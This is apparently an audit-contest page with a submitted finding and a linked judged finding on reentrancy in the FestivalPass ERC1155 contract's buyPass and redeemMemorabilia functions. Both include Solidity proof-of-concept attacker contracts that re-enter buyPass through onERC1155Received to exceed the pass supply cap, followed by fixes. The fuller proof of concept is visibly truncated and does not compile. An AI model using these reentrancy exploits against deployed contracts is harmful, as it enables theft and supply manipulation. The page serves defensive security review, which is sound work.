Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

No reentrancy guard on any state-changing external function (buyPass/redeemMemorabilia), leaving the ERC1155 mint callbacks unprotected

FestivalPass has no reentrancy guard despite multiple ERC1155 _mint callbacks

Description

FestivalPass performs external, attacker-controllable calls via ERC1155 _mint in both buyPass (FestivalPass.sol:76) and redeemMemorabilia (line 207), each of which invokes the recipient's onERC1155Received callback, yet no function in the contract uses a reentrancy guard. The contract inherits ERC1155 and Ownable2Step but not ReentrancyGuard, leaving every state-changing external function without defense-in-depth.

_mint(msg.sender, collectionId, 1, ""); // buyPass — line 76, fires onERC1155Received
...
_mint(msg.sender, tokenId, 1, ""); // @> redeemMemorabilia — line 207, fires onERC1155Received

Risk

Likelihood:

Low to Medium. The callbacks are reachable on every mint to a contract. Whether they are independently exploitable depends on each function's ordering, but the absence of any guard means a single overlooked CEI mistake (such as the buyPass supply increment) becomes directly exploitable.

Impact:

Low as a standalone hardening finding, but it is the missing safety net behind the concrete reentrancy issues in buyPass and redeemMemorabilia. With a guard in place, those state-ordering bugs would be contained rather than exploitable, so this is a defense-in-depth gap that materially raises the blast radius of the other findings.

Proof of Concept

Any contract recipient can re-enter a state-changing external during its onERC1155Received hook because nothing blocks reentry.

function onERC1155Received(address,address,uint256,uint256,bytes calldata) external returns (bytes4) {
pass.buyPass{value: price}(id); // no nonReentrant guard stops this nested call
return this.onERC1155Received.selector;
}

Recommended Mitigation

Inherit OpenZeppelin ReentrancyGuard and mark mint-bearing external functions nonReentrant.

- contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass {
+ import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+ contract FestivalPass is ERC1155, Ownable2Step, ReentrancyGuard, IFestivalPass {
// then: function buyPass(...) external payable nonReentrant { ... }
// function redeemMemorabilia(...) external nonReentrant { ... }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!